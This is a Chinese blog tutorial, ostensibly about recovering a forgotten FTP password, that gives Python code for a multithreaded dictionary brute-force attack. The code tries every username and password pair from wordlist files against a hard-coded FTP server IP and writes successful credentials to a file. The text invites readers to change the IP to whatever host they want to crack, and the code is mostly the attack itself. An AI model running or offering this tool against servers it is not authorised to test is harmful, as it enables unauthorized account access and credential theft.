忘记ftp密码使用python ftplib库暴力破解密码的方法示例


Posted in Python onJanuary 22, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 
import time 
import threading 
class mythread(threading.Thread): 
def __init__(self,command): 
threading.Thread.__init__(self) 
self.command=command 
def run(self): 
kk=os.system(self.command) 
ushand=open(“user.txt”,”r”) 
pshand=open(“passwd.txt”,”r”) 
listuser=[] 
listpass=[] 
for us in open(“user.txt”,”r”): 
lineus=ushand.readline().strip(‘\n') 
listuser.append(lineus) 
for ps in open(“passwd.txt”,”r”): 
lineps=pshand.readline().strip(‘\n') 
listpass.append(lineps) 
for i in listuser: 
for j in listpass: 
command=”ftp.py %s %s” %(i,j) 
print command 
my_thread=mythread(command) 
my_thread.start() 
time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 
import socket 
import sys 
ftp=ftplib.FTP('121.54.175.204′) 
try: 
user=sys.argv[1] 
passwd=sys.argv[2] 
ftp.login(user,passwd) 
hand=open(‘aa.txt','a+') 
hand.write(user+”:”+passwd+”\n”) 
except ftplib.error_perm: 
print “passwd is world”

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
python计算最大优先级队列实例
Dec 18 Python
详解Python装饰器由浅入深
Dec 09 Python
python使用matplotlib绘图时图例显示问题的解决
Apr 27 Python
python3第三方爬虫库BeautifulSoup4安装教程
Jun 19 Python
python 阶乘累加和的实例
Feb 01 Python
Django框架视图函数设计示例
Jul 29 Python
python爬虫 爬取超清壁纸代码实例
Aug 16 Python
使用python实现kNN分类算法
Oct 16 Python
pyecharts绘制中国2020肺炎疫情地图的实例代码
Feb 12 Python
关于python tushare Tkinter构建的简单股票可视化查询系统(Beta v0.13)
Oct 19 Python
Python list去重且保持原顺序不变的方法
Apr 03 Python
Python基于百度AI实现抓取表情包
Jun 27 Python
使用python的chardet库获得文件编码并修改编码
Jan 22 #Python
使用go和python递归删除.ds store文件的方法
Jan 22 #Python
python学习手册中的python多态示例代码
Jan 21 #Python
python pdb调试方法分享
Jan 21 #Python
python发送邮件接收邮件示例分享
Jan 21 #Python
python逐行读取文件内容的三种方法
Jan 20 #Python
c++生成dll使用python调用dll的方法
Jan 20 #Python
You might like
php中sprintf与printf函数用法区别解析
2014/02/17 PHP
thinkPHP3.1验证码的简单实现方法
2016/04/22 PHP
php插入mysql数据返回id的方法
2018/05/31 PHP
thinkPHP事务操作简单案例分析
2019/10/17 PHP
在 PHP 和 Laravel 中使用 Traits的方法
2019/11/13 PHP
网络图片延迟加载实现代码 超越jquery控件
2010/03/27 Javascript
js异步加载的三种解决方案
2013/03/04 Javascript
IE中的File域无法清空使用jQuery重设File域
2014/04/24 Javascript
javasctipt如何显示几分钟前、几天前等
2014/04/30 Javascript
浅谈JavaScript的Polymer框架中的behaviors对象
2015/07/29 Javascript
jQuery实现的类似淘宝网站搜索框样式代码分享
2015/08/24 Javascript
AngularJS Ajax详解及示例代码
2016/08/17 Javascript
ReactNative短信验证码倒计时控件的实现代码
2017/07/20 Javascript
vue checkbox 全选 数据的绑定及获取和计算方法
2018/02/09 Javascript
详解如何用VUE写一个多用模态框组件模版
2018/09/27 Javascript
vue 实现微信浮标效果
2019/09/01 Javascript
使用Python的Treq on Twisted来进行HTTP压力测试
2015/04/16 Python
对Python中的@classmethod用法详解
2018/04/21 Python
Linux下python制作名片示例
2018/07/20 Python
Python图像处理之gif动态图的解析与合成操作详解
2018/12/30 Python
python广度优先搜索得到两点间最短路径
2019/01/17 Python
Python实现爬取马云的微博功能示例
2019/02/16 Python
在python中,使用scatter绘制散点图的实例
2019/07/03 Python
关于tf.reverse_sequence()简述
2020/01/20 Python
tensorflow 实现自定义梯度反向传播代码
2020/02/10 Python
Django中使用Json返回数据的实现方法
2020/06/03 Python
捷克汽车配件和工具销售网站:TorriaCars
2018/02/26 全球购物
绿化先进工作者事迹材料
2014/01/30 职场文书
安全生产活动月方案
2014/03/09 职场文书
幼师求职自荐信
2014/05/31 职场文书
工厂车间标语
2014/06/19 职场文书
2014年防汛工作总结
2014/12/08 职场文书
刑事上诉状范文
2015/05/22 职场文书
2019学校请假条格式及范文
2019/06/25 职场文书
php 获取音视频时长,PHP 利用getid3 获取音频文件时长等数据
2021/04/01 PHP
SQL Server一个字符串拆分多行显示或者多行数据合并成一个字符串
2022/05/25 SQL Server